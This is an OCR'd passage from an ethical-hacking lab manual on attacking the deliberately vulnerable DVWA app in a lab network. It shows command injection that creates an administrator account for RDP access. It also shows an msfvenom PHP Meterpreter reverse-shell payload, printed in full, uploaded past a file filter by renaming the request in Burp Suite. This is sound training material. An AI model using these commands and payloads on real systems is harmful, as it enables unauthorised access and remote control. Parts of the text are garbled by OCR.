Module 14 - Hacking Web Applications

33. Now, use the command execution vulnerability and attempt to add a user account

remotely.

34. Create an account named Test. To do so, type | net user Test /Add and click Submit.
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35. The command completed successfully notification appears and a user account named
Test is created.
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Module 14 - Hacking Web Applications

36. To view the new user account, type the command | net user and click Submit.

37. You can observe the newly created account Test, as shown in the screenshot.
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38. Now, view the new account’s information. Type | net user Test and click Submit.
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39. The Test account information appears. You can see that Test is a standard user account
and does not have administrative privileges. You can see that it has an entry called Local
Group Memberships.
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40. Now, assign administrative privileges to the account. The reason for granting
administrative privileges to this account is to use this (admin) account to log into the
Windows Server 2022 machine with administrator access using a remote desktop
connection.
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41. To grant administrative privileges, type | net localgroup Administrators Test /Add and

click Submit.
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42. You have successfully granted admin privileges to the account. Confirm the new setting
by issuing the command | net user Test. Test is now an administrator account under the
Local Group Memberships option.
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43. Now, log into the Windows Server 2022 machine using the Test account through
Remote Desktop Connection.
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Module 14 - Hacking Web Applications

44. Click Search icon (@) on the Desktop. Type remote in the search field, the Remote
Desktop Connection appears in the results, click Open to launch it.

45. The Remote Desktop Connection window appears. In the Computer field, type the
target system IP address (here, 10.10.1.22 [Windows Server 2022]) and click Show

Options.

% Remote Desktop Connection — X

' Remote Desktop
¢ Connection

Computer: | 10.10.1.22 y

Username: None specified

You will be asked for credentials when you connect.

v ' Show Options [ Connect 1 Help

46. The Remote Desktop Connection window appears with the General tab displayed;
enter the User name as test and click Connect.
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47. A Windows Security pop-up appears; leave the Password field empty and click OK.
-ree—e—e—eee——e—_———

== Windows Security

|
. Enter your credentials

I These credentials will be used to connect to 10.10.1.22.

test

Password

| Remember me

More choices

48. A Remote Desktop Connection window appears; click Yes.
)

S

| ng Remote Desktop Connection X

’ The idertity of the remote computer cannot be verified. Do
. * / you want to connect anyway?

The remote computer could not be authenticated due to problems with its
security certificate. f may be unsafe to proceed.

Certficate name

sl Name in the certificate from the remote computer:
Server2022 CEH com

Certficate emors
The following emors were encountered while validating the remote
computer's cerificate:

1. The certificate is not from a trusted certifying authority.

Do you want to connect despite these certfficate emors?

(] Dont ask me again for connections to this computer

View cedfficate. .

k& Hide Ophons

49. A remote desktop connection is successfully established, as shown in the screenshot.

Note: Thus, you have made use of a command execution vulnerability in a DVWA
application hosted by the Windows Server 2022 machine, extracted information related
to the machine, remotely created an administrator account, and logged into it.

Note: If a Server Manager window appears close it.
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. 10,10.1.22 - B X

-l  © Type here to search =) '

50. Now, you may discontinue the session and log out of the web application. To do so,
close the Remote Desktop Connection window. If a Your remote session will be
disconnected notification appears, click OK.

51. This concludes the demonstration of how to exploit a remote command execution
vulnerability to compromise a target web server.

52. Close all open windows and document all acquired information.

53. Turn off the Windows 11 virtual machine.

Task 8: Exploit a File Upload Vulnerability at Different Security
Levels

Metasploit Framework is a tool for developing and executing exploit code against a remote
target machine. It is a Ruby-based, modular penetration testing platform that enables you to
write, test, and execute exploit code. It contains a suite of tools that you can use to test security
vulnerabilities, enumerate networks, execute attacks, and evade detection. Meterpreter is a
Metasploit attack payload that provides an interactive shell that can be used to explore the
target machine and execute code.

Here, we will use exploit a file upload vulnerability at different security levels of DVWA using
Metasploit.

Note: Before starting this task, ensure that the WampServer is running on the Windows Server
2022 machine.
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1. Turn on the Parrot Security virtual machine. In the login page, the attacker username
will be selected by default. Enter password as toor in the Password field and press Enter
to log in to the machine.

Note: If a Parrot Updater pop-up appears at the top-right corner of Desktop, ignore and
close it.

Note: If a Question pop-up window appears asking you to update the machine, click No
to close the window.

2. Click the MATE Terminal icon at the top of Desktop to open a Terminal window.

3. A Parrot Terminal window appears. In the terminal window, type sudo su and press
Enter to run the programs as a root user.

4. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.
5. Now, type cd and press Enter to jump to the root directory.

6. In the Terminal window appears; type msfvenom -p php/meterpreter/reverse tcp
LHOST=[IP Address of Host Machine] LPORT=4444 -f raw and press Enter.

Note: Here, the IP address of the host machine is 10.10.1.13 (the Parrot Security
machine).

7. The raw payload is generated in the terminal window. Select the payload, right-click on
it, and click Copy from the context menu to copy the payload, as shown in the
screenshot.

| R R S g Yl = - e -3 s e e e
‘) A In._: AL g LU S LA LS l:- I'.I alElll _') }— .

msivenom -p php/meterpreter/reverse_tcp LHOS1=10.10.1.13 LPORT =4

Edit View  Search Terminal Help
Lal '---:‘{a;';;ar'rm

ﬂ?php /*"'f errnr reportlng(a). $ip = '10.10.1.13"; $port = 4444; if (($f = 'stream socket client' ) |

48 callable{sf)) { $s = $f("tcp://{$1p}: {$port}"), $s type = 'stream'; } if (!4$s && ($f = 'fsocke
") && is callable(s$f)) { $s5 = $f(sip, $port) $s type = 'stream’'; } 1f ('$s && ($f = 'socket creat
) & 1s callable($f)) { $s = $f(AF INET, & SIRELM a TCP); $res = @socket connect($s, $ip, $por
); if (1$res) { die(); } $5 type = 'sockdiSReTDRe ye) { die('no socket funcs'); } if ('.",.s) {‘
lie('no socket'); } switch ($s type) { cafiieWese ey = fread($s, 4); break; case 'socket':
= socket read($s, 4); break; } if (!$len; mnpack("ﬂlen , $len); $len = $af'len’ ], .
= ''; while (strlen($b) < $len) { switch JEERSCERALNEL 'stream’': $b .= fread($s, $len-strlen(s$b) Jn
 break; case 'socket': $b .= socket read{ " T ¥b)); hreak, } } $GLOBALS['msgsock'] = $s;
LDBALS[ msgsock type'] = $s type; if { etonumunnn . uhnsm'] & 1ini get('suhosin.executor.disa
e eval')) { $suhosin bypass=create funcihelZaS osin bypass(); } else { eval(sb); } die():

@parrot 0 Paste Filenames

#_-

Profiles

£4 Show Menubar
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8. Now, in the terminal window, type cd /home/attacker/Desktop/ and press Enter to
navigate to the Desktop.

9. Type pluma upload.php and press Enter to launch the Pluma text editor.

10. The Pluma text editor window appears; press Ctrl+V to paste the raw payload copied in
Step 7, and then press Ctrl+S to save the context.

iRals =t = Tl aT = BT =T = i i R
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CAit
1 L

E] §)] Open

e upload.php X

PHP v TabWi.idth: 4 v Ln2, Col1l
® upload.php (/home/atta... |z m

11. Close all the open windows.

12. Click the Firefox icon from the top section of Desktop, type
http://10.10.1.22:8080/dvwa/login.php. Into the address bar and press Enter.

13. The DVWA login page appears; enter the Username and Password as admin and
password. Click the Login button.

Note: If a Would you like Firefox to save this login notification appears at the top of the
browser window, click Don’t Save.
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14. The Welcome to Damn Vulnerable Web Application! Page appears. Click DVWA
Security in the left pane to view the DVWA security level.

15. Change the security level from impossible to low by selecting Low from the drop-down
list and clicking the Submit button, as shown in the screenshot.
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S DVWA Security
Instructions
Setup / Reset DB Security Level
Security level is currently: impossible.
Brute Force
You can set the security level to low, medium, high or impossible. The security level changes the vuinerability

Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
File Incl as an example of how web application vulnerabilities manifest through bad coding practices and to serve

as a platform to teach or learn basic exploitation techniques.
File Upload 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the

developer has tried but failed to secure an application. it also acts as a challenge to users to refine their
Insecure CAPTCHA exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices 1o attempt to secure the code. The vulnerability may not allow the same extent of the
SQI exploitation, similar in various Capture The Flags (CTFs) competitions.
ol s 4. Impossible - This level should be secure against all vuinerabilities. It is used to compare the vulnerable

Weak Session IDs source code to the secure source code.

Prior to DVWA v1.9, this level was known as ‘nigh'.
XSS (DOM)
XSS (Reflected) o ¢ St
XSS (Stored)

. PHPIDS

) DVWA Security :: Damn
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16. Click the File Upload option from the left pane.
17. The Vulnerability: File Upload page appears; click the Browse... button to upload a file.

Q) Applications Places System Yo @ _ {) O Wed Apr 20, 06:1
o @ Vilnerabiir Eite Lioload = Damn Vi Ty 1 T S L ST ) o SR T e

¢J Vulnerability: File Uploa: X -

< C @ © /% 10.10.1.22 s D W n o @ - @

) Getting Started @) Start &) Parrot 0OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy 5 Pentest 5Llearn |

=)
D\WA)

P Vulnerability: File Upload
Sstidosinil Choose an image to upload:
Setup / Reset DB
Browse.. ‘ No file selected.
Brute Force
Upload
Command Injection
CSRF :
T More Information
Insecure CAPTCHA

18. When the File Upload window appears, navigate to the Desktop location, select the
payload file upload.php, and click Open.

‘} APDPpUCations Places Svstemr ) > !

cJ Vulnerability: File Uploa: X

Aot < 4 attacker I Desktop
) Getting S '
Name Type Modified
CEHv12 Module 14 Hacking Web Applications 0b:36
README.license 2.2kB Text 13 Apr 2021
Security_Script.html Text 06:33

 upload.php Program 10:14

5 ™ =3
| =T 7,
! - #
Lt i Sy "

D Open
) ‘-..-"u‘.r*f.?rat:-il.:ta-" File Uploa. (22 I
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19. Observe that the selected file (upload.php) appears to the right of Browse... button.

20. Now, click the Upload button to upload the file to the database.

@) Applications Places System ) > 8
@ . Vulnerability Cite Unload = Damn Vu

¢J Vulnerability: File Uploa: X

< C @ © %4 10.10.1.22 res () n o @

) Getting Started @ Start &) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy £S5 Pentest B Learn |

)
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Instructions
Setup / Reset DB

Choose an image to upload:

Browse... upload.php
Brute Force
Command Injection
CSRF

File Inclusion

Upload

More Information

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

21. You will see a message saying that the file has been uploaded successfully, with the
location of the file. Note the location of the file and minimize the browser window.
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Instructions
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Command Injection
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L More Information
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XSS (Reflected)
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22. Launch a Terminal window by clicking on the MATE Terminal icon at the top of
Desktop.

23. In the terminal window, type sudo su and press Enter to run the programs as a root
user.

24. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.
25. Now, type cd and press Enter to jump to the root directory.

26. In the Terminal window, type msfconsole and press Enter to launch the Metasploit
framework.

27. In msfconsole, type use exploit/multi/handler and press Enter to set up the listener.

Q) Applications Places System "é) (& ) d) O Wed Apr 20, 06:2:

File Edit View Search Jerminal Help

el se exploit/multi/handle
*] Using configured payload generic/shell rev

o exploltl I

«++ Menu ¥ Vulnerability: File Uplc >> msfconsole - Parrot Ter... lﬁn

28. Now, set the payload, LHOST, and LPORT. To do so, use the below commands:
* Type set payload php/meterpreter/reverse_tcp and press Enter
= Typeset LHOST 10.10.1.13 and press Enter
= Type set LPORT 4444 and press Enter

= Type run and press Enter to start the listener

CEH Lab Manual Page 1658 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Module 14 - Hacking Web Applications

29. Observe that the listener is up and running at 10.10.1.13. Minimize the terminal
window.

30. Switch back to the Mozilla Firefox window where the DVWA website is open. Open a
new tab, type http://10.10.1.22:8080/dvwa/hackable/uploads/upload.php in the
address bar, and press Enter to execute the uploaded payload.

‘) "'1'.:‘;:::-1': ations
®0

¢J Vulnerability: File Upl X 10.10.1.22:8080//dvwal! X

& > C @ © %4 10101228 | e VWY i @

") Getting Started @ Start §) Parrot 0S @& Community @ Docs @ Git @ CryptPad | B9 Privacy E5Pentest EjLlearn |

+:: Menu Y Mozilla Firefox

31. Switch back to the Terminal window and observe that a Meterpreter session has
successfully been established with the victim system, as shown in the screenshot.

32.In the meterpreter command line, type sysinfo and press Enter to view the system
details of the victim machine.
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3= msfconsole - Parrot Ter... |22 n

Close all open windows.

Launch a new Terminal window by clicking on the MATE Terminal icon at the top of
Desktop window.

In the terminal window, type sudo su and press Enter to run the programs as a root
user.

In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.
Now, type cd and press Enter to jump to the root directory.

In the Terminal window, type msfvenom -p php/meterpreter/reverse _tcp LHOST=[IP
Address of Host Machine] LPORT=3333 -f raw and press Enter.

Note: Here, the IP address of the host machine is 10.10.1.13 (Parrot Security machine).

The raw payload is generated in the terminal window. Select the payload, right-click on
it, and click Copy from the context menu to copy the payload, as shown in the
screenshot.
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4) O Wed Apr 20, 06:4
r ’
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N N msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.1.13 LPORT=3333 -fraw - Parrot Terminal

File Eait View Search Terminal Help
ittacker@parrot
$. udo su

ido!l password for atta

@parrot

#cd
@parrot

*<?php /**/ error reporting(0); $ip = '10.10.1.13'; $port = 3333; if (($f = 'stream socket client')
o 1s callable($f)) { $s = $f("tcp://{$1p}:{$port}"); $s type = 'stream’'; } if (!$s && ($f = 'fsockor
n') & 1is callable($f)) { $s = $f($ip, $port); $s type = 'stream’; } if (!$s & ($f = 'socket create

) & 1s callable($f)) { $s = $f(AF INET, SOCK STREAM__S[ hres = @socket connect($s, $ip, $po
je('no socket funcs'); } if (!$s) {

.); if (!'$res) { die(); } $5_type = 'socket’'; } 13 Open Terminal

jie('no socket'); } switch ($s type) { case 'stre; Open Tab 1($s, 4); break; case 'socket': $le
= socket read($s, 4); break; } if (!'$len) { die( ["Nlen", $len); $len = $a['len']; st
= "', while (strlen($b) < $len) { switch ($s typ Close Window ': $b .= fread($s, $len-strlen($b))
break; case 'socket': $b .= socket read($s, $lef Teak; } } $GLOBALS['msgsock'] = $s;

' SIS X J) & ini get('suhosin.executor.disz

OBALS|[ 'msgsock type'] = $s type; if (extension e
le eval')) { $suhosin bypass=create function('', eSS pass(); } else { eval(sb); } die();

@parro '
@parrot Profiles

#
2 Show Menubar

I

s+ Menu  #2 msfvenom -p php/mete... [z n

40. Now, in the terminal window, type cd /home/attacker/Desktop/ and press Enter to
navigate to the Desktop.

41. Type pluma medium.php.jpg and press Enter to launch the Pluma text editor.
{) 0 Wed Apr 20, 06:5

Sy | - - — = == i - = - | "
0 Applications Places System -_—_) e '4!;: [
2[attacker/Desktop/ - Parrot Terminal

@ .' cd /home/z
File Edit View Search Terminal Help
@parrot
#cd /home/at

@parrot
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42. The Pluma text editor window appears; press Ctrl+V to paste the raw payload copied in
Step 39, and then press Ctrl+S to save the context.
@) Applications Places System
@ @

File  Edit  View

[+] 1O Open

8 medium.php.jpg >

Plain Text v TabW.idth: 4 v Ln2 . Coll
@ medium.php.jpg (/home.. % m

43. Click the Firefox icon from the top section of Desktop, type
http://10.10.1.22:8080/dvwa/login.php. Into the address bar, and press Enter. The
DVWA login page appears; log in with the credentials admin and password, and click
the Login button.

Note: If a Would you like Firefox to save this login notification appears at the top of the
browser window, click Don’t Save.

44. The Welcome to Damn Vulnerable Web Application! Page appears. Click DVWA
Security from the left pane to view the DVWA security level.

45. Change the Security Level from impossible to medium by selecting Medium from the
drop-down list and clicking the Submit button, as shown in the screenshot.
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") Applications
@0
«J DVWA SEE:LI!'th-' o FIain

&« G & © 4 10.10.1.22

) Getting Started @ Start @) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy 5 Pentest E5learn |

)
D\WA)

Home DVWA Security »
Instructions
Setup / Reset DB Security Level
Security level is currently: impossible
Brute Force
You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
File Inclusion as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation technigues.
File Upload 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA exploitation technigues.
3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the
SQ ti ind) exploitation, similar in various Capture The Flags (CTFs) competitions.
,M_Jﬂ.-u-' @'I . 4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vuinerable
Weak Session IDs source code to the secure source code.
Prior to DVWA v1.9, this level was known as "high'.
XSS (DOM)
XSS (Stored)
o PHPIDS
PHP Info v(0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

Y DVWA Security:: Damn.. Z? "

46. Click the File Upload option in the left pane.
47. The Vulnerability: File Upload page appears; click the Browse... button to upload a file.

Q) Applications Places System ) @ 4 L Wed Apr 2
@. '_"i;':l'—',"' e e I-._I.'l oy ey R R = L ) ¥ R s i IS\ AR AL e o g el 5 4 - T - P

¢J Vulnerability: File Uploa: X

&« C & © % 10.10.1.22

) Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | ESPrivacy [ Pentest

o)

= Vulnerability: File Upload
okt Choose an image to upload:
Setup /| Reset DB
Browse... No file selected.
Brute Force
Upload
Command Injection
T More Information
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
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48. The File Upload window appears. Navigate to the Desktop location and select the
payload file medium.php.jpg and click Open.

‘t} ADDUCaLIONS Placres Svstemr ) >

7 Vulnerability: File Uplc X

<« G
< ik attacker [N Deskiop

Y Getting S

Name Type Modified

CEHv12 Module 14 Hacking Web Applications

Ub:36
-+ medium.php.jpg Image 10:53
B README. license . Text 13 Apr 2021
B Security_Script.html Text 06:33

®@ upload.php Program 10:14

B £ Vulnerability: File Uploa..

49. Observe that the selected file (medium.php.jpg) appears to the right of the Browse...
button.

50. Now, before uploading the file, set up a Burp Suite proxy. Start by configuring the proxy
settings of the browser.
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51. Click the Open Menu icon in the right corner of the menu bar and select Preferences
from the list.
@) Applications

@ . Vulnerabilitv: File Upload :: Damn Vulnerable Web Application (DVWA) \
¢J Vulnerability: File Uplc

‘e G © A& 10.10.1.22 . s & Y INn O

) Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B9 Priva @ Sign in to Firefox

D D\ dn Protections Dashboard

New Window Ctri+N

New Private Window Ctri+Shift+P

T Vulnerability: File Upload Restore Previous Session

Instructions Choose an image to upload: Zoom e 100% + H.'H
Setup | Reset DB

Browse... medium.php.jpg Edit ¥ [b 8

Brute Force

Command Injection ot it Library

CSRF w0 Logins and Passwords

File Inclusion More Information 2 Add-ons Ctri+Shift+A
| : ¥ Preferences b

Insecure CAPTCHA . | - ,/ Customize...

SQL Injection _

Open File...

SQL Injection (Blind) :

- Save Page As..

Weak Session IDs '

&= Print...

XSS (DOM)

XSS (Reflected) Q, Find in This Page..

XSS (Stored) More

Web Developer
DVWA Security
(7) Help
PHP Info

& 'Y Vulnerabilitv: File Uploa.. 15 “

52. The General settings tab appears. In the Find in Preferences search bar, type proxy, and
press Enter.

53. The Search Results appear; click the Settings button under the Network Settings option.

‘} 5-.;'. plications Places System ) > ! ==c= 1 g L] Wed Apr 20U 070

¢J Vulnerability: File Ug X %¥ Preferences X
< C @ &) Firefox about:preferences#isearchResults o I MO & w s

) Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B9 Privacy £5Pentest E5Learn |

P FDI"A

Network Settings m

Q Soarch Configure how Firefox connects to the internet. Lea Settings...

ﬂ Privacy & Security

S Sync
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54. A Connection Settings window appears; select the Manual proxy configuration radio
button and ensure that the HTTP Proxy is set to 127.0.0.1 and Port as 8080. Ensure that

the Also use this proxy for FTP and HTTPS checkbox is selected and click OK. Close the
Preferences tab.

@) Applications Places System &) 2= 8
i L L —————————————_ ] .
@ @ Preferences - Mozilla Firefox

&3 Vulnerability: File Ug < ¥ Preferences T

¢« C' @ &) Firefox about:preferences#isearchResults W n @ @

) Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy £5Pentest E3Learn |

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings

® Manual proxy configuration

HITP Proxy 12/.0.0.1

v | Also use this proxy for FTP and HTTPS

SOCKS Host 127.0.0.1 9050

SOCKSv4 @ SOCKS VS

Automatic proxy configuration URL

Help Cancel

*Y Preferences - Mozilla Fi...
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55. Now, minimize the browser window, click Applications from the top left corner of
Desktop and navigate to Pentesting > Web Application Analysis 2 Web Application
Proxies =2 burpsuite to launch the Burp Suite application.

‘)Appliﬁatlm Places System ) A

@ Privacy
—

B Office

i :l' e p J

. Internet 4v12 Module 14
1acking Web
x: Graphics Applications

8% Sound & Video >

.
- .
. Games > _ |
:Pentﬂﬁnﬂ » € Most Used Tools

a Programming ,0 Information Gathering _
. System [ools @¥ Vulnerability Analysis _d ?

%) System Services S Web ApplicationAnalysis 3 7 . CMS & Framework Identification

¢ Accessories & & VVEDAPPULaUITTOMES

L? Universal Access ¥-4) Maintaining Access 4, » Web Crawlers & Directory Bruteforce

(2 ) Post E:pr'lGHEﬁH::ﬂ ¢ _‘l « Web 1".."'Uh"t'.i’FE‘Itﬂ|.'i?_'1|,-' Scanners

. B
(&%) Password Attacks (7 commix

N - R owasp-za
=) Wireless Testing \ g

@8 skipfish

-

Security_Scrjpt.- 37 Sniffing & Spoofing
htmt = N wig
#*) Digital Forensics . ‘
: @ wpscan
o Automotive

A—

® 1"4) Reverse Engineering

ceh-tools on 10.10.- |

1.11 :T Reporting Tools

[z

Note: If a security pop-up appears, enter the password as toor in the Password
field and click OK.

56. In the next Burp Suite Community Edition notification, click OK.
57. If Terms and Conditions window appears click | Accept.
58. A notification appears saying that An update is available, click Close.

59. The Burp Suite main window appears. Ensure that the Temporary project radio button
is selected and click the Next button, as shown in the screenshot.

60. In the next window, select the Use Burp defaults radio-button and click the Start Burp
button.
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61. The Burp Suite main window appears; click the Proxy tab from the available options in
the top section of the window.

Burp Project Intruder Repeater Window Help
I Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

Intercept HTTP history WebSockets history Options
=

Use Burp's embedded Use a different browser
browser o ‘

v

. :

You'll need to perform a few additional steps to
£ By Fa . i .
There's no need to configure your proxy configure your browser's proxy settings. For

settings manually. Use Burp's embedded testing over HTTPS, you'll also need toinstall

Chromium browser to start testing right Burp's CAcertificate. TILL
away. g
2

. L

View documentation

Using Burp Proxy Burp Proxy options Burp Proxy documentation
If this is your first time using Burp, you might want to Reference information about the different options you The central point of access for all information you need
take a look at our guide to help you get the most cut of have for customizing Burp Proxy's behaviour. to use Burp Proxy.

your experience.,

View , View View

& Burp Suite Community ...

62. In the Proxy settings, by default, the Intercept tab opens-up. Observe that the
interception is active by default, as the button says Intercept is on. Leave it running.

Note: Turn the interception on if it is set to off.

pplications Places System ) - @

9@

Burp Project Intruder Repeater Window Help

Dashboard Target P roxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

Q At

Intercept HTTP history WebSockets history Options

-

Intercept is on Act Open Browser

Use Burp's embedded Use a different browser
browser \ -
b S -
You'll need to perform a few additional stepsto
' pnirin configure your browser's proxy settings, For
. A N N N

There's no need to configure your proxy

settings manually, Use Burp's embedded testing over HTTPS, you'll also need to install

View documentation

Chromium browser to start testing right Burp's CAcertificate. TILL
away. L
=
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63. Switch back to the browser window and click the Upload button under the
Vulnerability: File Upload section to upload the payload file.
@) Applications Places System &) o2 @
@ @ Vulnerability: File Upload

-

¢J Vulnerability: File Uploa: X -+

— G & © & 10.10.1.22

") Getting Started @ Start ) Parrot 0S @ Community @ Docs @ Git @& CryptPad | B3 Privacy B Pentest B3

, '“\ .
o)

_— Vulnerability: File Upload

s i Choose an image to upload:
Setup / Reset DB

Browse... medium.php.jpg
Brute Force

Upload
Command Injection b
i More Information

64. Switch back to the Burp Suite window. Observe that the request has been captured and
displayed in the raw format under the Raw tab. In the filename field, you will see the
name of the file to be uploaded as medium.php.jpg.

Q) Applications Places System &) 2o 8
Y e

Burp Project Intruder Repeater Window Help

Dashboard Target | Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
HTTP history WebSockets history Options

d_ff' Request to http://10.10.1.22:8080

I Forward Drop Action Open Browser | nmeant this iten g

=Ft Hex ‘n =

1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1

2 Host: 10,10.1.22:8080

5 User-Agent: Mozilla/S5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,1mage/webp,*/¥;g=0.8
5 Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-----------c--ce"cecccomu--- 1140079638148962153431 76887960
5 Content-Length: 1586

S Origin: http://10.10,1.22:8080

D DNT: 1

1 Connection: close

Referer: http://10.10.1,.22:8080/dvwa/vulnerabilities/upload/

= Cookie: security=medium; PHPSESSID=18dnkc3l01ifndo6f6tgemfkelo

4 Upgrade-Insecure-Requests: 1

-
=
_‘
o
¥O.123dSNI il ()

§ memmmmeemeeeeeeeeeeeeoecaaaa. 11400796381 48962153431 76887960
Content -Disposition: form-data; name="MAX FILE SIZE"

S 100000

) == mmmmmmm e 11400796381 48962153431 76887960

"l Content-Disposition: form-data; name="uploaded"; filename="medium.php.jpg"
2 Content-Type: image/]peg

} /*<T7php /**/ error_reporting(0); $ip = '10.10,1.13'; $port = 3333; 1f (($f = 'stream_socket client') && 1s callable($t)) { $s =
$f("tep://{$1p}:{$port}");: $s_type = 'stream'; } 1f (1$s && ($f = 'fsockopen') && 1s _callable($f)) { $5 = $fi$ip, $port);: $s type =
'stream'; } 1f (!$s && ($f = 'socket_create') && 1s _callable($f)) { $s = $F(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connectl§s,

$ip, $port); 1f (!$res) { die(); } $s type = 'socket'; } 1if (!$s type) { die('no socket funcs'); } if (1%s) { die('no socket'); } switch
($s type) { case 'stream': $len = fread($s. 4): break.; case 'socket': $len = socket read($s. 4); break: } 1f (!$len) { die(); } $a =
unpack("NLen", $len); §len = $al'len']; $b = ''; while (strlen($b) < $len) { switch ($s type) { case 'stream': $b .= fread($s,
$len-strlen($b)); break; case 'socket': $b .= socket _read($s, $len-strien($b)): break; } } $GLOBALS[ 'msgsock'] = $s:

$GLOBALS[ 'msgsock_type'] = $s_type; 1f (extension_loaded( 'suhosin’') && 1ni_get( 'suhosin.executor.disable eval')) {
$suhosin_bypass=create function('', $b); $suhosin bypass(); } else { eval($b); } diel);

2C

i e R R A AR 1140075638148962153431 76887960

25 Content-Disposition: form-data; name="Upload"

{-:} — - earct 0 matches
tes Menu | nediun Y Vuln ty: F | % Burp Suite Community ... ]ﬂm
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65. Change the filename to medium.php and click the Forward button to forward the

request.

*‘ﬂ?iﬁgJ-Tﬁfxlﬁi Places Systemr J) >. (B

® 0

Burp Project Intruder Repeater Window Help
Dashboard Target | Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

HTTP history WebSockets history Options

I{/ﬁ Reguest to http://10.10.1.22:8080

| 4
Fretty IGELGM Hex \n =

1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1

2 Host: 10,10.1.22:8080

3 User-Agent: Mozilla/S5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,1image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------“--c“---- 1140079638148962153431 76887960
g8 Content-Length: 1586

S Origin: http://10.10,1.22:8080

O DNT: 1

Connection: close

Referer: http://10.10,1,22:8080/dvwa/vulnerabilities/upload/

Cookie:! security=medium; PHPSESSID=18dnkc3l01fndo6f6tgemfkelo

4 Upgrade-Insecure-Requests; 1

e 11400796381 48962153431 76887960
Content -Disposition: form-data; name="MAX FILE SIZE"

100000

----------------------------- 11400796381 48962153431 76887960

Content -Disposition: form-data; name="uploaded"; filename="medium.php"
Content-Type: image/jpeg

1 WD €D

NE

!'-..immh.'lhlhjﬂi—-:n__ Ihnrﬂﬂlﬂﬂllﬂ

[

f¥<Tphp /**%/ error_reportingi{®); $1ip = '10.10,1.13'; $port = 3333; 1f (($f = 'stream_socket client') && 1s callable($f)) { $s5 =
$f("tcp://{$ip}:{$port}");: $s type = 'stream'; } 1f (I1$s && ($f = 'fsockopen') && is callable($f)) { $s = $fi$ip, $port): §s type =
'stream'; } 1f (!$s && ($f = 'socket _create') && 1s callablel($f)) { $s = $Ff(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s,

$1p, $port); if (!$res) { die(); } $s type = 'socket'; } 1f (1%s type) { diel'no socket funcs');: } if (1$s5) { diel'no socket'); } switch
|$s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket read($s, 4); break; } 1f (1§len) { diel); } $a =
unpack("NLen", $len); $len = $al'len']l; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s,
$len-strlen($b)); break; case 'socket': $b .= socket _read($s, $len-strlieni$b)): break; } } $GLOBALS[ 'msgsock'] = $s:
$GLOBALS| 'msgsock_type'] = §s type:; 1f (extension_loaded( 'suhosin'] && ini_get( 'suhosin.executor.disable eval')) {
$suhosin_ bypass=create function('', $b); $suhosin bypass(); } else { evali$b); } diel);

-

R | i S st R A O s N R 1140079638148962153431 76887960

S Content-Disposition: form-data; name="Upload"

@-{-—- g . 0 matches
122 Menu liun 9 Vuln # Burp Suite Community ... iz E1.

' Forward Drop Action OpenBrowser nment thisiten W HTTP/1 .

ill

HOLDAdSNI

66. Now, turn the interception off by clicking on the Intercept is on button. The button now

says Intercept is off, as shown in the screenshot. Close the window.

Note: If a Confirm pop-up appears, click Yes.

@) Applications Places Systemr Yo @

0

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
| Intercept HTTP history WebSockets history Options
Intercept s off Act Open Browser
1
Use Burp's embedded Use a different browser
browser ke
o L 3 .

You'll need to perform a few additional steps to

0 B §i e pte . 1 .
There's no need to configure your proxy ' configure your browser's proxy settings. For

settings manually. Use Burp's embedded testing over HTTPS, you'll also need toinstall 4all
Chromium browser to start testing right Burp's CA certificate. : saon
away. £l
- — -
View documentation |
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67. Switch back to the browser window. Observe a message saying that the file has been
uploaded successfully, along with the upload location of the file. Note down this

location.

